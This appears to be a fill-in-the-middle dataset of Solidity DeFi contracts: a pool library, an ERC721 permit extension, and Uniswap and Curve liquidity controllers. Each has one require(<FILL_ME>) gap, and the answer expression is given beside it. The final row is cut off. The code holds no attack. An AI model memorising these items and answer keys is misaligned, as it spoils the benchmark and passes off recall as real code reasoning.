using TickMaps for TickMaps.TickMap;
using Positions for Positions.Position;
error InvalidAmount();
error InvalidTierChoices();
error InvalidTick();
error InvalidTickRangeForLimitOrder();
error NoLiquidityForLimitOrder();
error PositionAlreadySettled();
error PositionNotSettled();
uint24 internal constant MAX_SQRT_GAMMA = 100_000;
uint96 internal constant BASE_LIQUIDITY_D8 = 100; // tier's base liquidity, scaled down 2^8. User pays it when adding a tier
int256 internal constant SWAP_AMOUNT_TOLERANCE = 100; // tolerance between desired and actual swap amounts
uint256 internal constant AMOUNT_DISTRIBUTION_BITS = 256 / MAX_TIERS; // i.e. 42 if MAX_TIERS is 6
uint256 internal constant AMOUNT_DISTRIBUTION_RESOLUTION = AMOUNT_DISTRIBUTION_BITS - 1;
/// @param unlocked Reentrancy lock
/// @param tickSpacing Tick spacing. Only ticks that are multiples of the tick spacing can be used
/// @param protocolFee Protocol fee with base 255 (e.g. protocolFee = 51 for 20% protocol fee)
/// @param tiers Array of tiers
/// @param tickMaps Bitmap for each tier to store which ticks are initializated
/// @param ticks Mapping of tick states of each tier
/// @param settlements Mapping of settlements for token{0,1} singled-sided positions
/// @param positions Mapping of position states
/// @param limitOrderTickSpacingMultipliers Tick spacing of limit order for each tier, as multiples of the pool's tick spacing
struct Pool {
bool unlocked;
uint8 tickSpacing;
uint8 protocolFee;
Tiers.Tier[] tiers;
mapping(uint256 => TickMaps.TickMap) tickMaps;
mapping(uint256 => mapping(int24 => Ticks.Tick)) ticks;
mapping(uint256 => mapping(int24 => Settlement.Info[2])) settlements;
mapping(bytes32 => Positions.Position) positions;
uint8[MAX_TIERS] limitOrderTickSpacingMultipliers;
}
function lock(Pool storage pool) internal {
}
function unlock(Pool storage pool) internal {
}
function getPoolAndId(
mapping(bytes32 => Pool) storage pools,
address token0,
address token1
) internal view returns (Pool storage pool, bytes32 poolId) {
}
/*===============================================================
* INITIALIZATION
*==============================================================*/
function initialize(
Pool storage pool,
uint24 sqrtGamma,
uint128 sqrtPrice,
uint8 tickSpacing,
uint8 protocolFee
) internal returns (uint256 amount0, uint256 amount1) {
}
function addTier(Pool storage pool, uint24 sqrtGamma)
internal
returns (
uint256 amount0,
uint256 amount1,
uint8 tierId
)
{
lock(pool);
require(<FILL_ME>)
(amount0, amount1) = _addTier(pool, sqrtGamma, pool.tiers[0].sqrtPrice); // use 1st tier sqrt price as reference
// BE AWARE the pool is locked. Please unlock it after token transfer is done.
}
function _addTier(
Pool storage pool,
uint24 sqrtGamma,
uint128 sqrtPrice
) internal returns (uint256 amount0, uint256 amount1) {
}
/*===============================================================
* SETTINGS
*==============================================================*/
function setPoolParameters(
Pool storage pool,
uint8 tickSpacing,
uint8 protocolFee
) internal {
}
function setTierParameters(
Pool storage pool,
uint8 tierId,
uint24 sqrtGamma,
uint8 limitOrderTickSpacingMultiplier
) internal {
}
/*===============================================================
* SWAP
*==============================================================*/
uint256 private constant Q64 = 0x10000000000000000;
uint256 private constant Q128 = 0x100000000000000000000000000000000;
/// @notice Emitted when limit order settlement occurs during a swap
/// @dev Normally, we emit events from hub contract instead of from this pool library, but bubbling up the event
/// data back to hub contract comsumes gas significantly, therefore we simply emit the "settle" event here.
event Settle(
bytes32 indexed poolId,
uint8 indexed tierId,
int24 indexed tickEnd,
int24 tickStart,
uint96 liquidityD8
);
struct SwapCache {
bool zeroForOne;
bool exactIn;
uint8 protocolFee;
uint256 protocolFeeAmt;
uint256 tierChoices;
TickMath.Cache tmCache;
int256[MAX_TIERS] amounts;
bytes32 poolId;
}
struct TierState {
uint128 sqrtPTick;
uint256 amountIn;
uint256 amountOut;
bool crossed;
}
/// @dev Struct returned by the "swap" function
/// @param amount0 Pool's token0 balance change
/// @param amount1 Pool's token1 balance change
/// @param amountInDistribution Percentages of input amount routed to each tier (for logging)
/// @param tierData Array of tier's liquidity and sqrt price after the swap (for logging)
/// @param protocolFeeAmt Amount of input token as protocol fee
struct SwapResult {
int256 amount0;
int256 amount1;
uint256 amountInDistribution;
uint256 amountOutDistribution;
uint256[] tierData;
uint256 protocolFeeAmt;
}
/// @notice Perform a swap in the pool
/// @param pool Pool storage pointer
/// @param isToken0 True if amtDesired refers to token0
/// @param amtDesired Desired swap amount (positive: exact input, negative: exact output)
/// @param tierChoices Bitmap to allow which tiers to swap
/// @param poolId Pool id, only used for emitting settle event. Can pass in zero to skip emitting event
/// @return result Swap result
function swap(
Pool storage pool,
bool isToken0,
int256 amtDesired,
uint256 tierChoices,
bytes32 poolId // only used for `Settle` event
) internal returns (SwapResult memory result) {
}
function _swapStep(
Pool storage pool,
bool isToken0,
SwapCache memory cache,
TierState memory state,
Tiers.Tier memory tier,
uint256 tierId
) internal returns (int256 amtAStep, int256 amtBStep) {
}
/// @dev Apply the post-swap data changes from memory to storage, also prepare data for event logging
function _updateTiers(
Pool storage pool,
TierState[MAX_TIERS] memory states,
Tiers.Tier[] memory tiers,
uint256 amtIn,
uint256 amtOut
)
internal
returns (
uint256 amtInDistribution,
uint256 amtOutDistribution,
uint256[] memory tierData
)
{
}
function _emptyInt256Array() internal pure returns (int256[MAX_TIERS] memory) {}
/*===============================================================
* UPDATE LIQUIDITY
*==============================================================*/
function _checkTickInputs(int24 tickLower, int24 tickUpper) internal pure {
}
/// @notice Update a position's liquidity
/// @param owner Address of the position owner
/// @param positionRefId Reference id of the position
/// @param tierId Tier index of the position
/// @param tickLower Lower tick boundary of the position
/// @param tickUpper Upper tick boundary of the position
/// @param liquidityDeltaD8 Amount of liquidity change, divided by 2^8
/// @param collectAllFees True to collect all remaining accrued fees of the position
function updateLiquidity(
Pool storage pool,
address owner,
uint256 positionRefId,
uint8 tierId,
int24 tickLower,
int24 tickUpper,
int96 liquidityDeltaD8,
bool collectAllFees
)
internal
returns (
uint256 amount0,
uint256 amount1,
uint256 feeAmtOut0,
uint256 feeAmtOut1
)
{
}
/*===============================================================
* TICKS (UPDATE LIQUIDITY)
*==============================================================*/
function _updateTick(
Pool storage pool,
uint8 tierId,
int24 tick,
int96 liquidityDeltaD8,
bool isLower
) internal returns (bool initialized) {
}
function _deleteEmptyTick(
Pool storage pool,
uint8 tierId,
int24 tick
) internal returns (bool deleted) {
}
/*===============================================================
* POSITION (UPDATE LIQUIDITY)
*==============================================================*/
function _getFeeGrowthInside(
Pool storage pool,
uint8 tierId,
int24 tickLower,
int24 tickUpper
) internal view returns (uint80 feeGrowthInside0, uint80 feeGrowthInside1) {
}
function _updatePosition(
Pool storage pool,
address owner,
uint256 positionRefId,
uint8 tierId,
int24 tickLower,
int24 tickUpper,
int96 liquidityDeltaD8,
bool collectAllFees
) internal returns (uint256 feeAmtOut0, uint256 feeAmtOut1) {
}
/*===============================================================
* LIMIT ORDER
*==============================================================*/
/// @notice Set (or unset) position to (or from) a limit order
/// @dev It first unsets position from being a limit order (if it is), then set position to a new limit order type
function setLimitOrderType(
Pool storage pool,
address owner,
uint256 positionRefId,
uint8 tierId,
int24 tickLower,
int24 tickUpper,
uint8 limitOrderType
) internal {
}
/// @notice Collect tokens from a settled position. Reset to normal position if all tokens are collected
/// @dev We only need to update position state. No need to remove any active liquidity from tier or update upper or
/// lower tick states as these have already been done when settling these positions during a swap
function collectSettled(
Pool storage pool,
address owner,
uint256 positionRefId,
uint8 tierId,
int24 tickLower,
int24 tickUpper,
uint96 liquidityD8,
bool collectAllFees
)
internal
returns (
uint256 amount0,
uint256 amount1,
uint256 feeAmtOut0,
uint256 feeAmtOut1
)
{
}
/*===============================================================
* VIEW FUNCTIONS
*==============================================================*/
function getPositionFeeGrowthInside(
Pool storage pool,
address owner,
uint256 positionRefId,
uint8 tierId,
int24 tickLower,
int24 tickUpper
) internal view returns (uint80 feeGrowthInside0, uint80 feeGrowthInside1) {
}
/// @dev Convert fixed-sized array to dynamic-sized
function getLimitOrderTickSpacingMultipliers(Pool storage pool) internal view returns (uint8[] memory multipliers) {
}
}
| (tierId=uint8(pool.tiers.length))>0 | 85,540 | (tierId=uint8(pool.tiers.length))>0 |
"Unauthorized" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.10;
import "./ERC721.sol";
import "../../interfaces/common/IERC1271.sol";
import "../../interfaces/common/IERC721Descriptor.sol";
import "../../interfaces/manager/IERC721Extended.sol";
abstract contract ERC721Extended is IERC721Extended, ERC721 {
address public tokenDescriptor;
address public tokenDescriptorSetter;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)");
bytes32 private immutable nameHash;
mapping(uint256 => uint256) public nonces;
uint128 internal minted;
uint128 internal burned;
constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_) {
}
/*=====================================================================
* TOKEN URI
*====================================================================*/
function tokenURI(uint256 tokenId) public view override(IERC721Metadata, ERC721) returns (string memory) {
}
function setTokenDescriptor(address descriptor) external {
}
function setTokenDescriptorSetter(address setter) external {
}
/*=====================================================================
* PERMIT
*====================================================================*/
function DOMAIN_SEPARATOR() public view returns (bytes32 domainSeperator) {
}
function permit(
address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable {
require(deadline >= block.timestamp, "Permit Expired");
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, spender, tokenId, nonces[tokenId]++, deadline))
)
);
address owner = ownerOf(tokenId);
if (Address.isContract(owner)) {
require(<FILL_ME>)
} else {
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0), "Invalid signature");
require(recoveredAddress == owner, "Unauthorized");
}
_approve(spender, tokenId);
}
/*=====================================================================
* TOKEN ID & TOTAL SUPPLY
*====================================================================*/
function totalSupply() public view virtual returns (uint256) {
}
function _mintNext(address to) internal virtual returns (uint256 tokenId) {
}
function latestTokenId() public view virtual returns (uint256 tokenId) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
}
| IERC1271(owner).isValidSignature(digest,abi.encodePacked(r,s,v))==0x1626ba7e,"Unauthorized" | 85,541 | IERC1271(owner).isValidSignature(digest,abi.encodePacked(r,s,v))==0x1626ba7e |
"INVALID_ROUTER" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "./BaseController.sol";
contract UniswapController is BaseController {
using SafeERC20 for IERC20;
using Address for address;
using Address for address payable;
using SafeMath for uint256;
// solhint-disable-next-line var-name-mixedcase
IUniswapV2Router02 public immutable UNISWAP_ROUTER;
// solhint-disable-next-line var-name-mixedcase
IUniswapV2Factory public immutable UNISWAP_FACTORY;
constructor(
IUniswapV2Router02 router,
IUniswapV2Factory factory,
address manager,
address accessControl,
address addressRegistry
) public BaseController(manager, accessControl, addressRegistry) {
require(<FILL_ME>)
require(address(factory) != address(0), "INVALID_FACTORY");
UNISWAP_ROUTER = router;
UNISWAP_FACTORY = factory;
}
/// @notice Deploys liq to Uniswap LP pool
/// @dev Calls to external contract
/// @param data Bytes containing token addrs, amounts, pool addr, dealine to interact with Uni router
function deploy(bytes calldata data) external onlyManager onlyAddLiquidity {
}
/// @notice Withdraws liq from Uni LP pool
/// @dev Calls to external contract
/// @param data Bytes contains tokens addrs, amounts, liq, pool addr, dealine for Uni router
function withdraw(bytes calldata data) external onlyManager onlyRemoveLiquidity {
}
function _approve(IERC20 token, uint256 amount) internal {
}
}
| address(router)!=address(0),"INVALID_ROUTER" | 85,580 | address(router)!=address(0) |
"INVALID_FACTORY" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "./BaseController.sol";
contract UniswapController is BaseController {
using SafeERC20 for IERC20;
using Address for address;
using Address for address payable;
using SafeMath for uint256;
// solhint-disable-next-line var-name-mixedcase
IUniswapV2Router02 public immutable UNISWAP_ROUTER;
// solhint-disable-next-line var-name-mixedcase
IUniswapV2Factory public immutable UNISWAP_FACTORY;
constructor(
IUniswapV2Router02 router,
IUniswapV2Factory factory,
address manager,
address accessControl,
address addressRegistry
) public BaseController(manager, accessControl, addressRegistry) {
require(address(router) != address(0), "INVALID_ROUTER");
require(<FILL_ME>)
UNISWAP_ROUTER = router;
UNISWAP_FACTORY = factory;
}
/// @notice Deploys liq to Uniswap LP pool
/// @dev Calls to external contract
/// @param data Bytes containing token addrs, amounts, pool addr, dealine to interact with Uni router
function deploy(bytes calldata data) external onlyManager onlyAddLiquidity {
}
/// @notice Withdraws liq from Uni LP pool
/// @dev Calls to external contract
/// @param data Bytes contains tokens addrs, amounts, liq, pool addr, dealine for Uni router
function withdraw(bytes calldata data) external onlyManager onlyRemoveLiquidity {
}
function _approve(IERC20 token, uint256 amount) internal {
}
}
| address(factory)!=address(0),"INVALID_FACTORY" | 85,580 | address(factory)!=address(0) |
"INVALID_TOKEN" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "./BaseController.sol";
contract UniswapController is BaseController {
using SafeERC20 for IERC20;
using Address for address;
using Address for address payable;
using SafeMath for uint256;
// solhint-disable-next-line var-name-mixedcase
IUniswapV2Router02 public immutable UNISWAP_ROUTER;
// solhint-disable-next-line var-name-mixedcase
IUniswapV2Factory public immutable UNISWAP_FACTORY;
constructor(
IUniswapV2Router02 router,
IUniswapV2Factory factory,
address manager,
address accessControl,
address addressRegistry
) public BaseController(manager, accessControl, addressRegistry) {
}
/// @notice Deploys liq to Uniswap LP pool
/// @dev Calls to external contract
/// @param data Bytes containing token addrs, amounts, pool addr, dealine to interact with Uni router
function deploy(bytes calldata data) external onlyManager onlyAddLiquidity {
(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) = abi.decode(
data,
(address, address, uint256, uint256, uint256, uint256, address, uint256)
);
require(to == manager, "MUST_BE_MANAGER");
require(<FILL_ME>)
require(addressRegistry.checkAddress(tokenB, 0), "INVALID_TOKEN");
_approve(IERC20(tokenA), amountADesired);
_approve(IERC20(tokenB), amountBDesired);
IERC20 pair = IERC20(UNISWAP_FACTORY.getPair(tokenA, tokenB));
uint256 balanceBefore = pair.balanceOf(address(this));
//(uint256 amountA, uint256 amountB, uint256 liquidity) =
UNISWAP_ROUTER.addLiquidity(
tokenA,
tokenB,
amountADesired,
amountBDesired,
amountAMin,
amountBMin,
to,
deadline
);
uint256 balanceAfter = pair.balanceOf(address(this));
require(balanceAfter > balanceBefore, "MUST_INCREASE");
}
/// @notice Withdraws liq from Uni LP pool
/// @dev Calls to external contract
/// @param data Bytes contains tokens addrs, amounts, liq, pool addr, dealine for Uni router
function withdraw(bytes calldata data) external onlyManager onlyRemoveLiquidity {
}
function _approve(IERC20 token, uint256 amount) internal {
}
}
| addressRegistry.checkAddress(tokenA,0),"INVALID_TOKEN" | 85,580 | addressRegistry.checkAddress(tokenA,0) |
"INVALID_TOKEN" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "./BaseController.sol";
contract UniswapController is BaseController {
using SafeERC20 for IERC20;
using Address for address;
using Address for address payable;
using SafeMath for uint256;
// solhint-disable-next-line var-name-mixedcase
IUniswapV2Router02 public immutable UNISWAP_ROUTER;
// solhint-disable-next-line var-name-mixedcase
IUniswapV2Factory public immutable UNISWAP_FACTORY;
constructor(
IUniswapV2Router02 router,
IUniswapV2Factory factory,
address manager,
address accessControl,
address addressRegistry
) public BaseController(manager, accessControl, addressRegistry) {
}
/// @notice Deploys liq to Uniswap LP pool
/// @dev Calls to external contract
/// @param data Bytes containing token addrs, amounts, pool addr, dealine to interact with Uni router
function deploy(bytes calldata data) external onlyManager onlyAddLiquidity {
(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) = abi.decode(
data,
(address, address, uint256, uint256, uint256, uint256, address, uint256)
);
require(to == manager, "MUST_BE_MANAGER");
require(addressRegistry.checkAddress(tokenA, 0), "INVALID_TOKEN");
require(<FILL_ME>)
_approve(IERC20(tokenA), amountADesired);
_approve(IERC20(tokenB), amountBDesired);
IERC20 pair = IERC20(UNISWAP_FACTORY.getPair(tokenA, tokenB));
uint256 balanceBefore = pair.balanceOf(address(this));
//(uint256 amountA, uint256 amountB, uint256 liquidity) =
UNISWAP_ROUTER.addLiquidity(
tokenA,
tokenB,
amountADesired,
amountBDesired,
amountAMin,
amountBMin,
to,
deadline
);
uint256 balanceAfter = pair.balanceOf(address(this));
require(balanceAfter > balanceBefore, "MUST_INCREASE");
}
/// @notice Withdraws liq from Uni LP pool
/// @dev Calls to external contract
/// @param data Bytes contains tokens addrs, amounts, liq, pool addr, dealine for Uni router
function withdraw(bytes calldata data) external onlyManager onlyRemoveLiquidity {
}
function _approve(IERC20 token, uint256 amount) internal {
}
}
| addressRegistry.checkAddress(tokenB,0),"INVALID_TOKEN" | 85,580 | addressRegistry.checkAddress(tokenB,0) |
"INVALID_CURVE_ADDRESS_PROVIDER" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../interfaces/curve/ICryptoSwapPool.sol";
import "../../interfaces/curve/IRegistry.sol";
import "../../interfaces/curve/IAddressProvider.sol";
import "../BaseController.sol";
/* solhint-disable func-name-mixedcase, var-name-mixedcase */
contract CurveControllerV2Pool4 is BaseController {
event AddLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256 lp_token_amount
);
event RemoveLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256[N_COINS] amounts
);
event RemoveLiquidityOne(
address indexed provider,
uint256 token_amount,
uint256 coin_index,
uint256 coin_amount,
address coin_address
);
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IAddressProvider public immutable addressProvider;
uint256 public constant N_COINS = 4;
constructor(
address _manager,
address _accessControl,
address _addressRegistry,
IAddressProvider _curveAddressProvider
) public BaseController(_manager, _accessControl, _addressRegistry) {
require(<FILL_ME>)
addressProvider = _curveAddressProvider;
}
/// @notice Deploy liquidity to Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amounts List of amounts of coins to deposit
/// @param poolAddress Minimum amount of LP tokens to mint from the deposit
function deploy(
address poolAddress,
uint256[N_COINS] calldata amounts,
uint256 minMintAmount
) external onlyManager onlyAddLiquidity {
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amount Quantity of LP tokens to burn in the withdrawal
/// @param minAmounts Minimum amounts of underlying coins to receive
function withdraw(
address poolAddress,
uint256 amount,
uint256[N_COINS] memory minAmounts
) external onlyManager onlyRemoveLiquidity {
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress token addresses
/// @param tokenAmount Amount of LP tokens to burn in the withdrawal
/// @param i Index value of the coin to withdraw
/// @param minAmount Minimum amount of coin to receive
function withdrawOneCoin(
address poolAddress,
uint256 tokenAmount,
uint256 i,
uint256 minAmount
) external onlyManager onlyRemoveLiquidity {
}
function _getLPToken(address poolAddress) internal returns (address) {
}
function _getCoinsBalances(address poolAddress)
internal
returns (uint256[N_COINS] memory coinsBalances)
{
}
function _compareCoinsBalances(
uint256[N_COINS] memory balancesBefore,
uint256[N_COINS] memory balancesAfter,
uint256[N_COINS] memory amounts
) internal pure {
}
function _getLPTokenAndApprove(address poolAddress, uint256 amount) internal returns (address) {
}
function _approve(
IERC20 token,
address spender,
uint256 amount
) internal {
}
}
| address(_curveAddressProvider)!=address(0),"INVALID_CURVE_ADDRESS_PROVIDER" | 85,586 | address(_curveAddressProvider)!=address(0) |
"INVALID_COIN" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../interfaces/curve/ICryptoSwapPool.sol";
import "../../interfaces/curve/IRegistry.sol";
import "../../interfaces/curve/IAddressProvider.sol";
import "../BaseController.sol";
/* solhint-disable func-name-mixedcase, var-name-mixedcase */
contract CurveControllerV2Pool4 is BaseController {
event AddLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256 lp_token_amount
);
event RemoveLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256[N_COINS] amounts
);
event RemoveLiquidityOne(
address indexed provider,
uint256 token_amount,
uint256 coin_index,
uint256 coin_amount,
address coin_address
);
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IAddressProvider public immutable addressProvider;
uint256 public constant N_COINS = 4;
constructor(
address _manager,
address _accessControl,
address _addressRegistry,
IAddressProvider _curveAddressProvider
) public BaseController(_manager, _accessControl, _addressRegistry) {
}
/// @notice Deploy liquidity to Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amounts List of amounts of coins to deposit
/// @param poolAddress Minimum amount of LP tokens to mint from the deposit
function deploy(
address poolAddress,
uint256[N_COINS] calldata amounts,
uint256 minMintAmount
) external onlyManager onlyAddLiquidity {
address lpTokenAddress = _getLPToken(poolAddress);
uint256 amountsLength = amounts.length;
for (uint256 i = 0; i < amountsLength; i++) {
if (amounts[i] > 0) {
address coin = ICryptoSwapPool(poolAddress).coins(i);
require(<FILL_ME>)
uint256 balance = IERC20(coin).balanceOf(address(this));
require(balance >= amounts[i], "INSUFFICIENT_BALANCE");
_approve(IERC20(coin), poolAddress, amounts[i]);
}
}
uint256 lpTokenBalanceBefore = IERC20(lpTokenAddress).balanceOf(address(this));
ICryptoSwapPool(poolAddress).add_liquidity(amounts, minMintAmount);
uint256 lpTokenBalanceAfter = IERC20(lpTokenAddress).balanceOf(address(this));
uint256 lpTokenAmount = lpTokenBalanceAfter.sub(lpTokenBalanceBefore);
require(lpTokenAmount >= minMintAmount, "LP_AMT_TOO_LOW");
emit AddLiquidity(msg.sender, amounts, IERC20(lpTokenAddress).totalSupply(), lpTokenAmount);
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amount Quantity of LP tokens to burn in the withdrawal
/// @param minAmounts Minimum amounts of underlying coins to receive
function withdraw(
address poolAddress,
uint256 amount,
uint256[N_COINS] memory minAmounts
) external onlyManager onlyRemoveLiquidity {
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress token addresses
/// @param tokenAmount Amount of LP tokens to burn in the withdrawal
/// @param i Index value of the coin to withdraw
/// @param minAmount Minimum amount of coin to receive
function withdrawOneCoin(
address poolAddress,
uint256 tokenAmount,
uint256 i,
uint256 minAmount
) external onlyManager onlyRemoveLiquidity {
}
function _getLPToken(address poolAddress) internal returns (address) {
}
function _getCoinsBalances(address poolAddress)
internal
returns (uint256[N_COINS] memory coinsBalances)
{
}
function _compareCoinsBalances(
uint256[N_COINS] memory balancesBefore,
uint256[N_COINS] memory balancesAfter,
uint256[N_COINS] memory amounts
) internal pure {
}
function _getLPTokenAndApprove(address poolAddress, uint256 amount) internal returns (address) {
}
function _approve(
IERC20 token,
address spender,
uint256 amount
) internal {
}
}
| addressRegistry.checkAddress(coin,0),"INVALID_COIN" | 85,586 | addressRegistry.checkAddress(coin,0) |
"LP_TOKEN_AMT_MISMATCH" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../interfaces/curve/ICryptoSwapPool.sol";
import "../../interfaces/curve/IRegistry.sol";
import "../../interfaces/curve/IAddressProvider.sol";
import "../BaseController.sol";
/* solhint-disable func-name-mixedcase, var-name-mixedcase */
contract CurveControllerV2Pool4 is BaseController {
event AddLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256 lp_token_amount
);
event RemoveLiquidity(
address indexed provider,
uint256[N_COINS] token_amounts,
uint256 token_supply,
uint256[N_COINS] amounts
);
event RemoveLiquidityOne(
address indexed provider,
uint256 token_amount,
uint256 coin_index,
uint256 coin_amount,
address coin_address
);
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IAddressProvider public immutable addressProvider;
uint256 public constant N_COINS = 4;
constructor(
address _manager,
address _accessControl,
address _addressRegistry,
IAddressProvider _curveAddressProvider
) public BaseController(_manager, _accessControl, _addressRegistry) {
}
/// @notice Deploy liquidity to Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amounts List of amounts of coins to deposit
/// @param poolAddress Minimum amount of LP tokens to mint from the deposit
function deploy(
address poolAddress,
uint256[N_COINS] calldata amounts,
uint256 minMintAmount
) external onlyManager onlyAddLiquidity {
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress Token addresses
/// @param amount Quantity of LP tokens to burn in the withdrawal
/// @param minAmounts Minimum amounts of underlying coins to receive
function withdraw(
address poolAddress,
uint256 amount,
uint256[N_COINS] memory minAmounts
) external onlyManager onlyRemoveLiquidity {
address lpTokenAddress = _getLPTokenAndApprove(poolAddress, amount);
uint256 lpTokenBalanceBefore = IERC20(lpTokenAddress).balanceOf(address(this));
uint256[N_COINS] memory coinsBalancesBefore = _getCoinsBalances(poolAddress);
ICryptoSwapPool(poolAddress).remove_liquidity(amount, minAmounts);
uint256 lpTokenBalanceAfter = IERC20(lpTokenAddress).balanceOf(address(this));
uint256[N_COINS] memory coinsBalancesAfter = _getCoinsBalances(poolAddress);
_compareCoinsBalances(coinsBalancesBefore, coinsBalancesAfter, minAmounts);
require(<FILL_ME>)
emit RemoveLiquidity(
msg.sender,
coinsBalancesAfter,
IERC20(lpTokenAddress).totalSupply(),
minAmounts
);
}
/// @notice Withdraw liquidity from Curve pool
/// @dev Calls to external contract
/// @dev We trust sender to send a true curve poolAddress. If it's not the case it will fail in the add_liquidity part.
/// @param poolAddress token addresses
/// @param tokenAmount Amount of LP tokens to burn in the withdrawal
/// @param i Index value of the coin to withdraw
/// @param minAmount Minimum amount of coin to receive
function withdrawOneCoin(
address poolAddress,
uint256 tokenAmount,
uint256 i,
uint256 minAmount
) external onlyManager onlyRemoveLiquidity {
}
function _getLPToken(address poolAddress) internal returns (address) {
}
function _getCoinsBalances(address poolAddress)
internal
returns (uint256[N_COINS] memory coinsBalances)
{
}
function _compareCoinsBalances(
uint256[N_COINS] memory balancesBefore,
uint256[N_COINS] memory balancesAfter,
uint256[N_COINS] memory amounts
) internal pure {
}
function _getLPTokenAndApprove(address poolAddress, uint256 amount) internal returns (address) {
}
function _approve(
IERC20 token,
address spender,
uint256 amount
) internal {
}
}
| lpTokenBalanceBefore-amount==lpTokenBalanceAfter,"LP_TOKEN_AMT_MISMATCH" | 85,586 | lpTokenBalanceBefore-amount==lpTokenBalanceAfter |
"LP_TOKEN_AMT_MISMATCH" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
